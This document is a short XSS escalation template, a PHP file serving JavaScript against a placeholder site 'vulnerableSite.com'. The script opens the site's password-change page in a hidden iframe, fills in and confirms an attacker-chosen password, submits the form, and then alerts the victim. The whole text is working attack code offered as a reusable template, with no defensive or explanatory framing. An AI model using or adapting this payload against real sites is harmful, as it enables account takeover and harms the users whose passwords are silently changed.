Basic XSS Escalation Template

exploit.php

<?php
header("Content-Type: application/javascript");
?>
frame=document.createElement("iframe")
frame.addEventListener("load", function() {
  setTimeout(function(){
          //Once the iframe loads, give it 1 second to load the DOM
          frame.contentDocument.getElementById("NewPassword").value="1337H4x0rz!!!"
          //Set new password
          frame.contentDocument.getElementById("ConfirmNewPassword").value="1337H4x0rz!!!"
          //Set confirm password
          frame.contentDocument.getElementById("SubmitButton").click()
          //Click the submit button
          setTimeout(function(){
            //Wait a couple seconds for the previous request to be sent
            alert("Your account password has been changed to 1337H4x0rz!!!")
          }, 2000)
  }, 1000)
});
//Create iframe and append it body
frame.src="https://vulnerableSite.com/sensative/action.php"
document.body.append(frame)